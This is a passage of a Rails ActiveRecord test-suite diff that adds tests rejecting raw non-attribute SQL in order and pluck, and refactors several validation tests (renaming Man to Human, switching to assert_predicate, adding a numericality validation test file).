+++ b/activerecord/test/cases/unsafe_raw_sql_test.rb
@@ -0,0 +1,303 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+
+class UnsafeRawSqlTest < ActiveRecord::TestCase
+  fixtures :posts, :comments
+
+  test "order: allows string column name" do
+    ids_expected = Post.order(Arel.sql("title")).pluck(:id)
+
+    ids = Post.order("title").pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows symbol column name" do
+    ids_expected = Post.order(Arel.sql("title")).pluck(:id)
+
+    ids = Post.order(:title).pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows downcase symbol direction" do
+    ids_expected = Post.order(Arel.sql("title") => Arel.sql("asc")).pluck(:id)
+
+    ids = Post.order(title: :asc).pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows upcase symbol direction" do
+    ids_expected = Post.order(Arel.sql("title") => Arel.sql("ASC")).pluck(:id)
+
+    ids = Post.order(title: :ASC).pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows string direction" do
+    ids_expected = Post.order(Arel.sql("title") => Arel.sql("asc")).pluck(:id)
+
+    ids = Post.order(title: "asc").pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows multiple columns" do
+    ids_expected = Post.order(Arel.sql("author_id"), Arel.sql("title")).pluck(:id)
+
+    ids = Post.order(:author_id, :title).pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows mixed" do
+    ids_expected = Post.order(Arel.sql("author_id"), Arel.sql("title") => Arel.sql("asc")).pluck(:id)
+
+    ids = Post.order(:author_id, title: :asc).pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows table and column names" do
+    ids_expected = Post.order(Arel.sql("title")).pluck(:id)
+
+    ids = Post.order("posts.title").pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows quoted table and column names" do
+    ids_expected = Post.order(Arel.sql("title")).pluck(:id)
+
+    ids = Post.order(quote_table_name("posts.title")).pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows column name and direction in string" do
+    ids_expected = Post.order(Arel.sql("title desc")).pluck(:id)
+
+    ids = Post.order("title desc").pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows table name, column name and direction in string" do
+    ids_expected = Post.order(Arel.sql("title desc")).pluck(:id)
+
+    ids = Post.order("posts.title desc").pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows NULLS FIRST and NULLS LAST too" do
+    raise "precondition failed" if Post.count < 2
+
+    # Ensure there are NULL and non-NULL post types.
+    Post.first.update_column(:type, nil)
+    Post.last.update_column(:type, "Programming")
+
+    ["asc", "desc", ""].each do |direction|
+      %w(first last).each do |position|
+        ids_expected = Post.order(Arel.sql("type::text #{direction} nulls #{position}")).pluck(:id)
+
+        ids = Post.order("type::text #{direction} nulls #{position}").pluck(:id)
+
+        assert_equal ids_expected, ids
+      end
+    end
+  end if current_adapter?(:PostgreSQLAdapter)
+
+  test "order: disallows invalid column name" do
+    assert_raises(ActiveRecord::UnknownAttributeReference) do
+      Post.order("REPLACE(title, 'misc', 'zzzz') asc").pluck(:id)
+    end
+  end
+
+  test "order: disallows invalid direction" do
+    assert_raises(ArgumentError) do
+      Post.order(title: :foo).pluck(:id)
+    end
+  end
+
+  test "order: disallows invalid column with direction" do
+    assert_raises(ActiveRecord::UnknownAttributeReference) do
+      Post.order("REPLACE(title, 'misc', 'zzzz')" => :asc).pluck(:id)
+    end
+  end
+
+  test "order: always allows Arel" do
+    titles = Post.order(Arel.sql("length(title)")).pluck(:title)
+
+    assert_not_empty titles
+  end
+
+  test "order: allows Arel.sql with binds" do
+    ids_expected = Post.order(Arel.sql("REPLACE(title, 'misc', 'zzzz'), id")).pluck(:id)
+
+    ids = Post.order([Arel.sql("REPLACE(title, ?, ?), id"), "misc", "zzzz"]).pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: disallows invalid bind statement" do
+    assert_raises(ActiveRecord::UnknownAttributeReference) do
+      Post.order(["REPLACE(title, ?, ?), id", "misc", "zzzz"]).pluck(:id)
+    end
+  end
+
+  test "order: disallows invalid Array arguments" do
+    assert_raises(ActiveRecord::UnknownAttributeReference) do
+      Post.order(["author_id", "REPLACE(title, 'misc', 'zzzz')"]).pluck(:id)
+    end
+  end
+
+  test "order: allows valid Array arguments" do
+    ids_expected = Post.order(Arel.sql("author_id, length(title)")).pluck(:id)
+
+    ids = Post.order(["author_id", "length(title)"]).pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows valid arguments with COLLATE" do
+    collation_name = {
+      "PostgreSQL" => "C",
+      "Mysql2" => "utf8mb4_bin",
+      "Trilogy" => "utf8mb4_bin",
+      "SQLite" => "binary"
+    }[ActiveRecord::Base.lease_connection.adapter_name]
+
+    ids_expected = Post.order(Arel.sql(%Q'author_id, title COLLATE "#{collation_name}" DESC')).pluck(:id)
+
+    ids = Post.order(["author_id", %Q'title COLLATE "#{collation_name}" DESC']).pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: allows nested functions" do
+    ids_expected = Post.order(Arel.sql("author_id, length(trim(title))")).pluck(:id)
+
+    ids = Post.order("author_id, length(trim(title))").pluck(:id)
+
+    assert_equal ids_expected, ids
+  end
+
+  test "order: disallows dangerous query method" do
+    e = assert_raises(ActiveRecord::UnknownAttributeReference) do
+      Post.order("REPLACE(title, 'misc', 'zzzz')")
+    end
+
+    assert_match(/Dangerous query method \(method whose arguments are used as raw SQL\) called with non-attribute argument\(s\):/, e.message)
+  end
+
+  test "pluck: allows string column name" do
+    titles_expected = Post.pluck(Arel.sql("title"))
+
+    titles = Post.pluck("title")
+
+    assert_equal titles_expected, titles
+  end
+
+  test "pluck: allows string column name with function and alias" do
+    titles_expected = Post.pluck(Arel.sql("UPPER(title)"))
+
+    titles = Post.pluck("UPPER(title) AS title")
+
+    assert_equal titles_expected, titles
+  end
+
+  test "pluck: allows symbol column name" do
+    titles_expected = Post.pluck(Arel.sql("title"))
+
+    titles = Post.pluck(:title)
+
+    assert_equal titles_expected, titles
+  end
+
+  test "pluck: allows multiple column names" do
+    values_expected = Post.pluck(Arel.sql("title"), Arel.sql("id"))
+
+    values = Post.pluck(:title, :id)
+
+    assert_equal values_expected, values
+  end
+
+  test "pluck: allows column names with includes" do
+    values_expected = Post.includes(:comments).pluck(Arel.sql("title"), Arel.sql("id"))
+
+    values = Post.includes(:comments).pluck(:title, :id)
+
+    assert_equal values_expected, values
+  end
+
+  test "pluck: allows auto-generated attributes" do
+    values_expected = Post.pluck(Arel.sql("tags_count"))
+
+    values = Post.pluck(:tags_count)
+
+    assert_equal values_expected, values
+  end
+
+  test "pluck: allows table and column names" do
+    titles_expected = Post.pluck(Arel.sql("title"))
+
+    titles = Post.pluck("posts.title")
+
+    assert_equal titles_expected, titles
+  end
+
+  test "pluck: allows quoted table and column names" do
+    titles_expected = Post.pluck(Arel.sql("title"))
+
+    titles = Post.pluck(quote_table_name("posts.title"))
+
+    assert_equal titles_expected, titles
+  end
+
+  test "pluck: allows nested functions" do
+    title_lengths_expected = Post.pluck(Arel.sql("length(trim(title))"))
+
+    title_lengths = Post.pluck("length(trim(title))")
+
+    assert_equal title_lengths_expected, title_lengths
+  end
+
+  test "pluck: disallows invalid column name" do
+    assert_raises(ActiveRecord::UnknownAttributeReference) do
+      Post.pluck("REPLACE(title, 'misc', 'zzzz')")
+    end
+  end
+
+  test "pluck: disallows invalid column name amongst valid names" do
+    assert_raises(ActiveRecord::UnknownAttributeReference) do
+      Post.pluck(:title, "REPLACE(title, 'misc', 'zzzz')")
+    end
+  end
+
+  test "pluck: disallows invalid column names with includes" do
+    assert_raises(ActiveRecord::UnknownAttributeReference) do
+      Post.includes(:comments).pluck(:title, "REPLACE(title, 'misc', 'zzzz')")
+    end
+  end
+
+  test "pluck: always allows Arel" do
+    excepted_values = Post.includes(:comments).pluck(:title).map { |title| [title, title.size] }
+    values = Post.includes(:comments).pluck(:title, Arel.sql("length(title)"))
+
+    assert_equal excepted_values, values
+  end
+
+  test "pluck: disallows dangerous query method" do
+    e = assert_raises(ActiveRecord::UnknownAttributeReference) do
+      Post.includes(:comments).pluck(:title, "REPLACE(title, 'misc', 'zzzz')")
+    end
+
+    assert_match(/Dangerous query method \(method whose arguments are used as raw SQL\) called with non-attribute argument\(s\):/, e.message)
+  end
+end
diff --git a/activerecord/test/cases/validations/absence_validation_test.rb b/activerecord/test/cases/validations/absence_validation_test.rb
index 870619e4e785c..9071e138ee214 100644
--- a/activerecord/test/cases/validations/absence_validation_test.rb
+++ b/activerecord/test/cases/validations/absence_validation_test.rb
@@ -1,22 +1,24 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/face"
 require "models/interest"
-require "models/man"
+require "models/human"
 require "models/topic"
 
 class AbsenceValidationTest < ActiveRecord::TestCase
   def test_non_association
-    boy_klass = Class.new(Man) do
+    boy_klass = Class.new(Human) do
       def self.name; "Boy" end
       validates_absence_of :name
     end
 
-    assert boy_klass.new.valid?
-    assert_not boy_klass.new(name: "Alex").valid?
+    assert_predicate boy_klass.new, :valid?
+    assert_not_predicate boy_klass.new(name: "Alex"), :valid?
   end
 
   def test_has_one_marked_for_destruction
-    boy_klass = Class.new(Man) do
+    boy_klass = Class.new(Human) do
       def self.name; "Boy" end
       validates_absence_of :face
     end
@@ -26,11 +28,11 @@ def self.name; "Boy" end
     assert_equal 1, boy.errors[:face].size, "should only add one error"
 
     boy.face.mark_for_destruction
-    assert boy.valid?, "should be valid if association is marked for destruction"
+    assert_predicate boy, :valid?, "should be valid if association is marked for destruction"
   end
 
   def test_has_many_marked_for_destruction
-    boy_klass = Class.new(Man) do
+    boy_klass = Class.new(Human) do
       def self.name; "Boy" end
       validates_absence_of :interests
     end
@@ -42,11 +44,11 @@ def self.name; "Boy" end
     assert_not boy.valid?, "should not be valid if has_many association is present"
 
     i2.mark_for_destruction
-    assert boy.valid?
+    assert_predicate boy, :valid?
   end
 
   def test_does_not_call_to_a_on_associations
-    boy_klass = Class.new(Man) do
+    boy_klass = Class.new(Human) do
       def self.name; "Boy" end
       validates_absence_of :face
     end
@@ -59,15 +61,15 @@ def face_with_to_a.to_a; ["(/)", '(\)']; end
 
   def test_validates_absence_of_virtual_attribute_on_model
     repair_validations(Interest) do
-      Interest.send(:attr_accessor, :token)
+      Interest.attr_accessor(:token)
       Interest.validates_absence_of(:token)
 
       interest = Interest.create!(topic: "Thought Leadering")
-      assert interest.valid?
+      assert_predicate interest, :valid?
 
       interest.token = "tl"
 
-      assert interest.invalid?
+      assert_predicate interest, :invalid?
     end
   end
 end
diff --git a/activerecord/test/cases/validations/association_validation_test.rb b/activerecord/test/cases/validations/association_validation_test.rb
index f5ceb27d9795a..d04cc8219b393 100644
--- a/activerecord/test/cases/validations/association_validation_test.rb
+++ b/activerecord/test/cases/validations/association_validation_test.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/reply"
-require "models/man"
+require "models/human"
 require "models/interest"
 
 class AssociationValidationTest < ActiveRecord::TestCase
@@ -14,14 +16,14 @@ def test_validates_associated_many
     Reply.validates_presence_of(:content)
     t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
     t.replies << [r = Reply.new("title" => "A reply"), r2 = Reply.new("title" => "Another reply", "content" => "non-empty"), r3 = Reply.new("title" => "Yet another reply"), r4 = Reply.new("title" => "The last reply", "content" => "non-empty")]
-    assert !t.valid?
-    assert t.errors[:replies].any?
+    assert_not_predicate t, :valid?
+    assert_predicate t.errors[:replies], :any?
     assert_equal 1, r.errors.count  # make sure all associated objects have been validated
     assert_equal 0, r2.errors.count
     assert_equal 1, r3.errors.count
     assert_equal 0, r4.errors.count
     r.content = r3.content = "non-empty"
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_associated_one
@@ -29,10 +31,10 @@ def test_validates_associated_one
     Topic.validates_presence_of(:content)
     r = Reply.new("title" => "A reply", "content" => "with content!")
     r.topic = Topic.create("title" => "uhohuhoh")
-    assert !r.valid?
-    assert r.errors[:topic].any?
+    assert_not_predicate r, :valid?
+    assert_predicate r.errors[:topic], :any?
     r.topic.content = "non-empty"
-    assert r.valid?
+    assert_predicate r, :valid?
   end
 
   def test_validates_associated_marked_for_destruction
@@ -40,21 +42,21 @@ def test_validates_associated_marked_for_destruction
     Reply.validates_presence_of(:content)
     t = Topic.new
     t.replies << Reply.new
-    assert t.invalid?
+    assert_predicate t, :invalid?
     t.replies.first.mark_for_destruction
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_associated_without_marked_for_destruction
     reply = Class.new do
-      def valid?
+      def valid?(context = nil)
         true
       end
     end
     Topic.validates_associated(:replies)
     t = Topic.new
     t.define_singleton_method(:replies) { [reply.new] }
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_associated_with_custom_message_using_quotes
@@ -69,29 +71,51 @@ def test_validates_associated_with_custom_message_using_quotes
   def test_validates_associated_missing
     Reply.validates_presence_of(:topic)
     r = Reply.create("title" => "A reply", "content" => "with content!")
-    assert !r.valid?
-    assert r.errors[:topic].any?
+    assert_not_predicate r, :valid?
+    assert_predicate r.errors[:topic], :any?
 
     r.topic = Topic.first
-    assert r.valid?
+    assert_predicate r, :valid?
   end
 
   def test_validates_presence_of_belongs_to_association__parent_is_new_record
     repair_validations(Interest) do
-      # Note that Interest and Man have the :inverse_of option set
-      Interest.validates_presence_of(:man)
-      man = Man.new(name: "John")
-      interest = man.interests.build(topic: "Airplanes")
-      assert interest.valid?, "Expected interest to be valid, but was not. Interest should have a man object associated"
+      # Note that Interest and Human have the :inverse_of option set
+      Interest.validates_presence_of(:human)
+      human = Human.new(name: "John")
+      interest = human.interests.build(topic: "Airplanes")
+      assert_predicate interest, :valid?, "Expected interest to be valid, but was not. Interest should have a human object associated"
     end
   end
 
   def test_validates_presence_of_belongs_to_association__existing_parent
     repair_validations(Interest) do
-      Interest.validates_presence_of(:man)
-      man = Man.create!(name: "John")
-      interest = man.interests.build(topic: "Airplanes")
-      assert interest.valid?, "Expected interest to be valid, but was not. Interest should have a man object associated"
+      Interest.validates_presence_of(:human)
+      human = Human.create!(name: "John")
+      interest = human.interests.build(topic: "Airplanes")
+      assert_predicate interest, :valid?, "Expected interest to be valid, but was not. Interest should have a human object associated"
     end
   end
+
+  def test_validates_associated_with_custom_context
+    Reply.validates_associated :topic, on: :custom
+    Topic.validates_presence_of :content, on: :custom
+    r = Reply.create("title" => "A reply", "content" => "with content!")
+    r.topic = Topic.create("title" => "uhohuhoh")
+    assert_predicate r, :valid?
+    assert_not r.valid?(:custom)
+    assert_equal ["is invalid"], r.errors[:topic]
+  end
+
+  def test_validates_associated_with_create_context
+    Reply.validates_associated :topic, on: :create
+    Topic.validates_presence_of :content, on: :create
+    t = Topic.create(title: "uhoh", content: "stuff")
+    t.update!(content: nil)
+    # NOTE: Does not pass along :create context from reply to Topic validation.
+    r = t.replies.create(title: "A reply", content: "with content!")
+
+    assert_predicate t, :valid?
+    assert_predicate r, :valid?
+  end
 end
diff --git a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
index a57065ba753a1..993c201f039a2 100644
--- a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -1,17 +1,23 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 
 class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
+  class Backend < I18n::Backend::Simple
+    include I18n::Backend::Fallbacks
+  end
+
   def setup
     Topic.clear_validators!
     @topic = Topic.new
-    I18n.backend = I18n::Backend::Simple.new
+    I18n.backend = Backend.new
   end
 
   def reset_i18n_load_path
     @old_load_path, @old_backend = I18n.load_path.dup, I18n.backend
     I18n.load_path.clear
-    I18n.backend = I18n::Backend::Simple.new
+    I18n.backend = Backend.new
     yield
   ensure
     I18n.load_path.replace @old_load_path
@@ -81,4 +87,16 @@ def test_generate_message_taken_with_custom_message
       assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, value: "title")
     end
   end
+
+  test "activerecord attributes scope falls back to parent locale before it falls back to the :errors namespace" do
+    reset_i18n_load_path do
+      I18n.backend.store_translations "en", activerecord: { errors: { models: { topic: { attributes: { title: { taken: "custom en message" } } } } } }
+      I18n.backend.store_translations "en-US", errors: { messages: { taken: "generic en-US fallback" } }
+
+      I18n.with_locale "en-US" do
+        assert_equal "custom en message", @topic.errors.generate_message(:title, :taken, value: "title")
+        assert_equal "generic en-US fallback", @topic.errors.generate_message(:heading, :taken, value: "heading")
+      end
+    end
+  end
 end
diff --git a/activerecord/test/cases/validations/i18n_validation_test.rb b/activerecord/test/cases/validations/i18n_validation_test.rb
index fd88a3ea674ff..4dd8a4a82b24e 100644
--- a/activerecord/test/cases/validations/i18n_validation_test.rb
+++ b/activerecord/test/cases/validations/i18n_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/reply"
@@ -38,19 +40,20 @@ def replied_topic
   COMMON_CASES = [
     # [ case,                              validation_options,            generate_message_options]
     [ "given no options",                  {},                            {}],
-    [ "given custom message",              { message: "custom" },        { message: "custom" }],
-    [ "given if condition",                { if: lambda { true } },  {}],
-    [ "given unless condition",            { unless: lambda { false } }, {}],
-    [ "given option that is not reserved", { format: "jpg" },            { format: "jpg" }],
-    [ "given on condition",                { on: [:create, :update] },     {}]
+    [ "given custom message",              { message: "custom" },         { message: "custom" }],
+    [ "given if condition",                { if: lambda { true } },       {}],
+    [ "given unless condition",            { unless: lambda { false } },  {}],
+    [ "given option that is not reserved", { format: "jpg" },             { format: "jpg" }],
+    [ "given on condition",                { on: [:create, :update] },    {}]
   ]
 
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_uniqueness_of on generated message #{name}" do
       Topic.validates_uniqueness_of :title, validation_options
       @topic.title = unique_topic.title
-      assert_called_with(@topic.errors, :generate_message, [:title, :taken, generate_message_options.merge(value: "unique!")]) do
+      assert_called_with(ActiveModel::Error, :generate_message, [:title, :taken, @topic, generate_message_options.merge(value: "unique!")]) do
         @topic.valid?
+        @topic.errors.messages
       end
     end
   end
@@ -58,8 +61,9 @@ def replied_topic
   COMMON_CASES.each do |name, validation_options, generate_message_options|
     test "validates_associated on generated message #{name}" do
       Topic.validates_associated :replies, validation_options
-      assert_called_with(replied_topic.errors, :generate_message, [:replies, :invalid, generate_message_options.merge(value: replied_topic.replies)]) do
+      assert_called_with(ActiveModel::Error, :generate_message, [:replies, :invalid, replied_topic, generate_message_options.merge(value: replied_topic.replies)]) do
         replied_topic.save
+        replied_topic.errors.messages
       end
     end
   end
diff --git a/activerecord/test/cases/validations/length_validation_test.rb b/activerecord/test/cases/validations/length_validation_test.rb
index ba45c6dcc1e68..a7cb718043140 100644
--- a/activerecord/test/cases/validations/length_validation_test.rb
+++ b/activerecord/test/cases/validations/length_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/owner"
 require "models/pet"
@@ -15,64 +17,64 @@ def self.name; "Owner"; end
   def test_validates_size_of_association
     assert_nothing_raised { @owner.validates_size_of :pets, minimum: 1 }
     o = @owner.new("name" => "nopets")
-    assert !o.save
-    assert o.errors[:pets].any?
+    assert_not o.save
+    assert_predicate o.errors[:pets], :any?
     o.pets.build("name" => "apet")
-    assert o.valid?
+    assert_predicate o, :valid?
   end
 
   def test_validates_size_of_association_using_within
     assert_nothing_raised { @owner.validates_size_of :pets, within: 1..2 }
     o = @owner.new("name" => "nopets")
-    assert !o.save
-    assert o.errors[:pets].any?
+    assert_not o.save
+    assert_predicate o.errors[:pets], :any?
 
     o.pets.build("name" => "apet")
-    assert o.valid?
+    assert_predicate o, :valid?
 
     2.times { o.pets.build("name" => "apet") }
-    assert !o.save
-    assert o.errors[:pets].any?
+    assert_not o.save
+    assert_predicate o.errors[:pets], :any?
   end
 
   def test_validates_size_of_association_utf8
     @owner.validates_size_of :pets, minimum: 1
     o = @owner.new("name" => "����������")
-    assert !o.save
-    assert o.errors[:pets].any?
+    assert_not o.save
+    assert_predicate o.errors[:pets], :any?
     o.pets.build("name" => "����������")
-    assert o.valid?
+    assert_predicate o, :valid?
   end
 
   def test_validates_size_of_respects_records_marked_for_destruction
     @owner.validates_size_of :pets, minimum: 1
     owner = @owner.new
     assert_not owner.save
-    assert owner.errors[:pets].any?
+    assert_predicate owner.errors[:pets], :any?
     pet = owner.pets.build
-    assert owner.valid?
+    assert_predicate owner, :valid?
     assert owner.save
 
     pet_count = Pet.count
-    assert_not owner.update_attributes pets_attributes: [ { _destroy: 1, id: pet.id } ]
-    assert_not owner.valid?
-    assert owner.errors[:pets].any?
+    assert_not owner.update pets_attributes: [ { _destroy: 1, id: pet.id } ]
+    assert_not_predicate owner, :valid?
+    assert_predicate owner.errors[:pets], :any?
     assert_equal pet_count, Pet.count
   end
 
   def test_validates_length_of_virtual_attribute_on_model
     repair_validations(Pet) do
-      Pet.send(:attr_accessor, :nickname)
+      Pet.attr_accessor(:nickname)
       Pet.validates_length_of(:name, minimum: 1)
       Pet.validates_length_of(:nickname, minimum: 1)
 
       pet = Pet.create!(name: "Fancy Pants", nickname: "Fancy")
 
-      assert pet.valid?
+      assert_predicate pet, :valid?
 
       pet.nickname = ""
 
-      assert pet.invalid?
+      assert_predicate pet, :invalid?
     end
   end
 end
diff --git a/activerecord/test/cases/validations/numericality_validation_test.rb b/activerecord/test/cases/validations/numericality_validation_test.rb
new file mode 100644
index 0000000000000..37a166b77a9ed
--- /dev/null
+++ b/activerecord/test/cases/validations/numericality_validation_test.rb
@@ -0,0 +1,175 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/numeric_data"
+
+class NumericalityValidationTest < ActiveRecord::TestCase
+  def setup
+    @model_class = NumericData.dup
+  end
+
+  attr_reader :model_class
+
+  def test_column_with_precision
+    model_class.validates_numericality_of(
+      :unscaled_bank_balance, equal_to: 10_000_000.12
+    )
+
+    subject = model_class.new(unscaled_bank_balance: 10_000_000.121)
+
+    assert_predicate subject, :valid?
+  end
+
+  def test_column_with_precision_higher_than_double_fig
+    model_class.validates_numericality_of(
+      :decimal_number_big_precision, equal_to: 10_000_000.3
+    )
+
+    subject = model_class.new(decimal_number_big_precision: 10_000_000.3)
+
+    assert_predicate subject, :valid?
+  end
+
+  def test_column_with_scale
+    model_class.validates_numericality_of(
+      :bank_balance, greater_than: 10
+    )
+
+    subject = model_class.new(bank_balance: 10.001)
+
+    assert_not_predicate subject, :valid?
+  end
+
+  def test_no_column_precision
+    model_class.validates_numericality_of(
+      :decimal_number, equal_to: 1_000_000_000.123454
+    )
+
+    subject = model_class.new(decimal_number: 1_000_000_000.1234545)
+
+    assert_predicate subject, :valid?
+  end
+
+  def test_virtual_attribute
+    model_class.attribute(:virtual_decimal_number, :decimal)
+    model_class.validates_numericality_of(
+      :virtual_decimal_number, equal_to: 1_000_000_000.123454
+    )
+
+    subject = model_class.new(virtual_decimal_number: 1_000_000_000.1234545)
+
+    assert_predicate subject, :valid?
+  end
+
+  def test_on_abstract_class
+    abstract_class = Class.new(ActiveRecord::Base) do
+      self.abstract_class = true
+      validates(:bank_balance, numericality: { equal_to: 10_000_000.12 })
+    end
+
+    klass = Class.new(abstract_class) do
+      def self.table_name
+        "numeric_data"
+      end
+
+      def self.name
+        "MyClass"
+      end
+    end
+    subject = klass.new(bank_balance: 10_000_000.12)
+
+    assert_predicate(subject, :valid?)
+  end
+
+  def test_virtual_attribute_without_precision
+    model_class.attribute(:virtual_decimal_number, :decimal)
+    model_class.validates_numericality_of(
+      :virtual_decimal_number, equal_to: BigDecimal("65.6")
+    )
+
+    subject = model_class.new(virtual_decimal_number: 65.6)
+
+    assert_predicate subject, :valid?
+  end
+
+  def test_virtual_attribute_with_precision_round_down
+    model_class.attribute(:virtual_decimal_number, :decimal, precision: 5)
+    model_class.validates_numericality_of(
+      :virtual_decimal_number, equal_to: 123.45
+    )
+
+    subject = model_class.new(virtual_decimal_number: 123.454)
+
+    assert_predicate subject, :valid?
+  end
+
+  def test_virtual_attribute_with_precision_round_half_even
+    model_class.attribute(:virtual_decimal_number, :decimal, precision: 5)
+    model_class.validates_numericality_of(
+      :virtual_decimal_number, equal_to: 123.45
+    )
+
+    subject = model_class.new(virtual_decimal_number: 123.455)
+
+    # BigDecimal's to_d behavior changed in BigDecimal 3.1.0, see https://github.com/ruby/bigdecimal/issues/70
+    # Since BigDecimal 3.1.4 or higher is installed as an Active Support dependency, we just check the behavior of BigDecimal 3.1.0+.
+    assert_not_predicate subject, :valid?
+  end
+
+  def test_virtual_attribute_with_precision_round_up
+    model_class.attribute(:virtual_decimal_number, :decimal, precision: 5)
+    model_class.validates_numericality_of(
+      :virtual_decimal_number, equal_to: 123.45
+    )
+
+    subject = model_class.new(virtual_decimal_number: 123.456)
+
+    assert_not_predicate subject, :valid?
+  end
+
+  def test_virtual_attribute_with_scale
+    model_class.attribute(:virtual_decimal_number, :decimal, scale: 2)
+    model_class.validates_numericality_of(
+      :virtual_decimal_number, greater_than: 1
+    )
+
+    subject = model_class.new(virtual_decimal_number: 1.001)
+
+    assert_not_predicate subject, :valid?
+  end
+
+  def test_virtual_attribute_with_precision_and_scale
+    model_class.attribute(:virtual_decimal_number, :decimal, precision: 4, scale: 2)
+    model_class.validates_numericality_of(
+      :virtual_decimal_number, less_than_or_equal_to: 99.99
+    )
+
+    ["99.994", 99.994, BigDecimal("99.994")].each do |raw_value|
+      subject = model_class.new(virtual_decimal_number: raw_value)
+      assert_equal BigDecimal("99.99"), subject.virtual_decimal_number
+      assert_predicate subject, :valid?
+    end
+
+    ["99.999", 99.999, BigDecimal("99.999")].each do |raw_value|
+      subject = model_class.new(virtual_decimal_number: raw_value)
+      assert_equal BigDecimal("100.00"), subject.virtual_decimal_number
+      assert_not_predicate subject, :valid?
+    end
+  end
+
+  def test_aliased_attribute
+    model_class.validates_numericality_of(:new_bank_balance, greater_or_equal_than: 0)
+
+    subject = model_class.new(new_bank_balance: "abcd")
+
+    assert_not_predicate subject, :valid?
+  end
+
+  def test_allow_nil_works_for_casted_value
+    model_class.validates_numericality_of(:bank_balance, greater_than: 0, allow_nil: true)
+
+    subject = model_class.new(bank_balance: "")
+
+    assert_predicate subject, :valid?
+  end
+end
diff --git a/activerecord/test/cases/validations/presence_validation_test.rb b/activerecord/test/cases/validations/presence_validation_test.rb
index 13956e26ec108..80fad6c08b59d 100644
--- a/activerecord/test/cases/validations/presence_validation_test.rb
+++ b/activerecord/test/cases/validations/presence_validation_test.rb
@@ -1,28 +1,30 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "models/man"
+require "models/human"
 require "models/face"
 require "models/interest"
 require "models/speedometer"
 require "models/dashboard"
 
 class PresenceValidationTest < ActiveRecord::TestCase
-  class Boy < Man; end
+  class Boy < Human; end
 
   repair_validations(Boy)
 
   def test_validates_presence_of_non_association
     Boy.validates_presence_of(:name)
     b = Boy.new
-    assert b.invalid?
+    assert_predicate b, :invalid?
 
     b.name = "Alex"
-    assert b.valid?
+    assert_predicate b, :valid?
   end
 
   def test_validates_presence_of_has_one
     Boy.validates_presence_of(:face)
     b = Boy.new
-    assert b.invalid?, "should not be valid if has_one association missing"
+    assert_predicate b, :invalid?, "should not be valid if has_one association missing"
     assert_equal 1, b.errors[:face].size, "validates_presence_of should only add one error"
   end
 
@@ -31,23 +33,23 @@ def test_validates_presence_of_has_one_marked_for_destruction
     b = Boy.new
     f = Face.new
     b.face = f
-    assert b.valid?
+    assert_predicate b, :valid?
 
     f.mark_for_destruction
-    assert b.invalid?
+    assert_predicate b, :invalid?
   end
 
   def test_validates_presence_of_has_many_marked_for_destruction
     Boy.validates_presence_of(:interests)
     b = Boy.new
     b.interests << [i1 = Interest.new, i2 = Interest.new]
-    assert b.valid?
+    assert_predicate b, :valid?
 
     i1.mark_for_destruction
-    assert b.valid?
+    assert_predicate b, :valid?
 
     i2.mark_for_destruction
-    assert b.invalid?
+    assert_predicate b, :invalid?
   end
 
   def test_validates_presence_doesnt_convert_to_array
@@ -67,16 +69,16 @@ def dash.to_a; ["(/)", '(\)']; end
 
   def test_validates_presence_of_virtual_attribute_on_model
     repair_validations(Interest) do
-      Interest.send(:attr_accessor, :abbreviation)
+      Interest.attr_accessor(:abbreviation)
       Interest.validates_presence_of(:topic)
       Interest.validates_presence_of(:abbreviation)
 
       interest = Interest.create!(topic: "Thought Leadering", abbreviation: "tl")
-      assert interest.valid?
+      assert_predicate interest, :valid?
 
       interest.abbreviation = ""
 
-      assert interest.invalid?
+      assert_predicate interest, :invalid?
     end
   end
 
diff --git a/activerecord/test/cases/validations/uniqueness_validation_test.rb b/activerecord/test/cases/validations/uniqueness_validation_test.rb
index 277280b42ea47..3e5cd9bed90a1 100644
--- a/activerecord/test/cases/validations/uniqueness_validation_test.rb
+++ b/activerecord/test/cases/validations/uniqueness_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/reply"
@@ -9,6 +11,8 @@
 require "models/author"
 require "models/person"
 require "models/essay"
+require "models/keyboard"
+require "models/cpk"
 
 class Wizard < ActiveRecord::Base
   self.abstract_class = true
@@ -32,6 +36,11 @@ class ReplyWithTitleObject < Reply
   validates_uniqueness_of :content, scope: :title
 
